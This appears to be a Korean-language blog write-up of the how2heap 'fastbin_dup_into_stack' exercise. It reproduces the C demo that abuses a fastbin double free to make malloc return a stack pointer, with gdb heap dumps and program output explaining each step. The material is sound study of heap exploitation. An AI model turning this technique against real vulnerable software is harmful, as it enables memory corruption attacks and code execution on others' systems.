[how2heap] fastbin_dup_into_stack

fastbin_dup 에서는 double free bug에 대해서 배웠었다.

이번에 나오는 fastbin_dup_into_stack은 fastbin에서 double free bug를 사용하여 malloc의 리턴 주소를 stack의 주소로 조작하는 방법이다.

fastbin_du​p_into_stack.c

#include <stdio.h>
#include <stdlib.h>
 
int main()
{
    printf("This file extends on fastbin_dup.c by tricking malloc into\n"
           "returning a pointer to a controlled location (in this case, the stack).\n");
 
    unsigned long long stack_var;
 
    printf("The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
 
    printf("Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);
 
    printf("1st malloc(8): %p\n", a);
    printf("2nd malloc(8): %p\n", b);
    printf("3rd malloc(8): %p\n", c);
 
    printf("Freeing the first one...\n");
    free(a);
 
    printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);
 
    printf("So, instead, we'll free %p.\n", b);
    free(b);
 
    printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);
 
    printf("Now the free list has [ %p, %p, %p ]. "
        "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
    unsigned long long *d = malloc(8);
 
    printf("1st malloc(8): %p\n", d);
    printf("2nd malloc(8): %p\n", malloc(8));
    printf("Now the free list has [ %p ].\n", a);
    printf("Now, we have access to %p while it remains at the head of the free list.\n"
        "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
        "so that malloc will think there is a free chunk there and agree to\n"
        "return a pointer to it.\n", a);
    stack_var = 0x20;
 
    printf("Now, we overwrite the first 8 bytes of the data at %p to point right after the 0x20.\n", a);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
 
    printf("3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
    printf("4rd malloc(8): %p\n", malloc(8));
}
 
 
 

간단하게 설명하자면 a,b,c 를 할당해주고 a, b, a로 double free 해줌으로써 a의 fd를 조작할 수 있게 된다. 이것을 이용하여 fd 값을 stack의 값으로 조작하여 malloc함으로써 stack에 공간을 할당받게 만든다. 

64비트 환경에서 직접 프로그램을 실행해가며 분석해보았다.

우선 malloc()을 통해  a,b,c 포인터 변수에 각각 8 만큼 할당해준다.

This file extends on fastbin_dup.c by tricking malloc into

returning a pointer to a controlled location (in this case, the stack).

The address we want malloc() to return is 0x7fffffffe408.

Allocating 3 buffers.

1st malloc(8): 0x603420

2nd malloc(8): 0x603440

3rd malloc(8): 0x603460

heap에 들어있는 값을 보면 알겠지만 64비트 환경이기 때문에 각각 32byte의 크기를 차지하게 된다. 

( size = 0x20 + 0x1 (PREV_INUSE) = 0x21)

2: x/32xw 0x603410

0x603410: 0x00000000 0x00000000 0x00000021 0x00000000

0x603420: 0x00000000 0x00000000 0x00000000 0x00000000

0x603430: 0x00000000 0x00000000 0x00000021 0x00000000

0x603440: 0x00000000 0x00000000 0x00000000 0x00000000

0x603450: 0x00000000 0x00000000 0x00000021 0x00000000

0x603460: 0x00000000 0x00000000 0x00000000 0x00000000

printf("Freeing the first one...\n");

free(a);

free(a)를 통해 먼저 a의 데이터가 삭제된다. 

이전 chunk가 존재하지 않기 때문에 fd는 0이 된다.

1: x/3i $pc-5

   0x400728 <main+194>: call   0x400500 <free@plt>

=> 0x40072d <main+199>: mov    rdx,QWORD PTR [rbp-0x28]

   0x400731 <main+203>: mov    rax,QWORD PTR [rbp-0x28]

2: x/32xw 0x603410

0x603410: 0x00000000 0x00000000 0x00000021 0x00000000

0x603420: 0x00000000 0x00000000 0x00000000 0x00000000

0x603430: 0x00000000 0x00000000 0x00000021 0x00000000

0x603440: 0x00000000 0x00000000 0x00000000 0x00000000

0x603450: 0x00000000 0x00000000 0x00000021 0x00000000

0x603460: 0x00000000 0x00000000 0x00000000 0x00000000

printf("So, instead, we'll free %p.\n", b);

free(b);

chunk list에 이전에 free된 a가 존재하므로 a의 주소인 0x603410이 b의 fd에 들어가게 된다.

1: x/3i $pc-5

   0x400764 <main+254>: call   0x400500 <free@plt>

=> 0x400769 <main+259>: mov    rax,QWORD PTR [rbp-0x28]

   0x40076d <main+263>: mov    rsi,rax

2: x/32xw 0x603410

0x603410: 0x00000000 0x00000000 0x00000021 0x00000000

0x603420: 0x00000000 0x00000000 0x00000000 0x00000000

0x603430: 0x00000000 0x00000000 0x00000021 0x00000000

0x603440: 0x00603410 0x00000000 0x00000000 0x00000000

0x603450: 0x00000000 0x00000000 0x00000021 0x00000000

0x603460: 0x00000000 0x00000000 0x00000000 0x00000000

printf("Now, we can free %p again, since it's not the head of the free list.\n", a);

free(a);

chunk list의 최상위가 a가 아니기 때문에 한 번더 free(a)가 가능하다. chunk list에 이전 chunk인 b가 존재하므로 b의 주소인 0x603430이 a의 fd에 들어가게 된다.

1: x/3i $pc-5

   0x400786 <main+288>: call   0x400500 <free@plt>

=> 0x40078b <main+293>: mov    rsi,QWORD PTR [rbp-0x28]

   0x40078f <main+297>: mov    rcx,QWORD PTR [rbp-0x28]

2: x/32xw 0x603410

0x603410: 0x00000000 0x00000000 0x00000021 0x00000000

0x603420: 0x00603430 0x00000000 0x00000000 0x00000000

0x603430: 0x00000000 0x00000000 0x00000021 0x00000000

0x603440: 0x00603410 0x00000000 0x00000000 0x00000000

0x603450: 0x00000000 0x00000000 0x00000021 0x00000000

0x603460: 0x00000000 0x00000000 0x00000000 0x00000000

unsigned long long *d = malloc(8);

 

printf("1st malloc(8): %p\n", d);

printf("2nd malloc(8): %p\n", malloc(8));

malloc()을 사용하여 포인터변수 d에 0x8 만큼 할당해주고, 한 번 더 malloc()하여 0x8만큼 할당해준다. 따라서 chunk list의 최상위에는 a만 남게 된다.

현재 a의 fd에는 b의 주소인 0x603430이 저장되어 있다. 이제 이 값을 stack의 값으로 바꿔주기만하면, 4번째 malloc()을 하여 다음에 공간을 할당을 받을 때 stack으로 할당받게 될 것이다.

0x603410: 0x00000000 0x00000000 0x00000021 0x00000000

0x603420: 0x00603430 0x00000000 0x00000000 0x00000000

이때 주의해야할 것은 스택에 있는 fake chunk의 size 값을 똑같이 맞춰줘야 한다는 것이다. 그렇지않으면 malloc corruption 이 뜨게 된다.

stack_var = 0x20;

 

printf("Now, we overwrite the first 8 bytes of the data at %p to point right after the 0x20.\n", a);

*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

 

printf("3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));

따라서 위와 같이 stack_var 에 0x20을 넣어줌으로써 fake chunk의 size를 맞춰준다. (스택에 할당된 stack_var가 fake chunk의 size 가 된다. )

fake chunk

prev_size

stack_var(size)

data

그 후 stack_var 주소에서 d 크기 만큼 뺀 값을 *d에 넣어주게 되는데, 그 이유는 malloc()을 통해 공간을 할당받을 때 prev_size와 size 공간만큼 더하여 할당받기 때문이다.  

현재 stack_var가 fake chunk의 size 이므로, 여기에서 d의 크기(0x10)만큼 빼주어 malloc()을 통해 새로 할당 받을 경우 fake chunk의 data에 값을 할당 받을수 있도록 만들어주는 것이다. (64비트 환경에서 malloc()을 할 경우 prev_size와 size공간이 16 byte 만큼 차지하기 때문에 fd 값에서 0x10 만큼 더한 곳에서부터 data 공간이 할당된다.)

3번째 malloc()을 한 후의 heap을 보면 다음과 같다.

1: x/3i $pc-5

   0x400851 <main+491>: call   0x400550 <malloc@plt>

=> 0x400856 <main+496>: mov    rsi,rax

   0x400859 <main+499>: mov    edi,0x400cc8

2: x/32xw 0x603410

0x603410: 0x00000000 0x00000000 0x00000021 0x00000000

0x603420: 0xffffe3e8 0x00007fff 0x00000000 0x00000000

0x603430: 0x00000000 0x00000000 0x00000021 0x00000000

0x603440: 0x00603410 0x00000000 0x00000000 0x00000000

0x603450: 0x00000000 0x00000000 0x00000021 0x00000000

0x603460: 0x00000000 0x00000000 0x00000000 0x00000000

printf("4rd malloc(8): %p\n", malloc(8));

4rd malloc(8): 0x7fffffffe3f8

현재 a의 fd 값이 stack 주소인 0x7fffffffe3e8가 있므로 4번째 malloc()을 하게 되면 stack인 0x7fffffffe3f8에 data 공간을 할당하게 된다.

(gdb) x/12wx 0x7fffffffe3e8

0x7fffffffe3e8: 0x00400884 0x00000000 0x00000020 0x00000000

0x7fffffffe3f8: 0x00603420 0x00000000 0x00603440 0x00000000

0x7fffffffe408: 0x00603460 0x00000000 0x00603420 0x00000000

프로그램을 실행한 모습

root@ubuntu:~/pwn# ./fastbin_dup_into_stack

This file extends on fastbin_dup.c by tricking malloc into

returning a pointer to a controlled location (in this case, the stack).

The address we want malloc() to return is 0x7fffffffe3f8.

Allocating 3 buffers.

1st malloc(8): 0x603420

2nd malloc(8): 0x603440

3rd malloc(8): 0x603460

Freeing the first one...

If we free 0x603420 again, things will crash because 0x603420 is at the top of the free list.

So, instead, we'll free 0x603440.

Now, we can free 0x603420 again, since it's not the head of the free list.

Now the free list has [ 0x603420, 0x603440, 0x603420 ]. We'll now carry out our attack by modifying data at 0x603420.

1st malloc(8): 0x603420

2nd malloc(8): 0x603440

Now the free list has [ 0x603420 ].

Now, we have access to 0x603420 while it remains at the head of the free list.

so now we are writing a fake free size (in this case, 0x20) to the stack,

so that malloc will think there is a free chunk there and agree to

return a pointer to it.

Now, we overwrite the first 8 bytes of the data at 0x603420 to point right after the 0x20.

3rd malloc(8): 0x603420, putting the stack address on the free list

4rd malloc(8): 0x7fffffffe3f8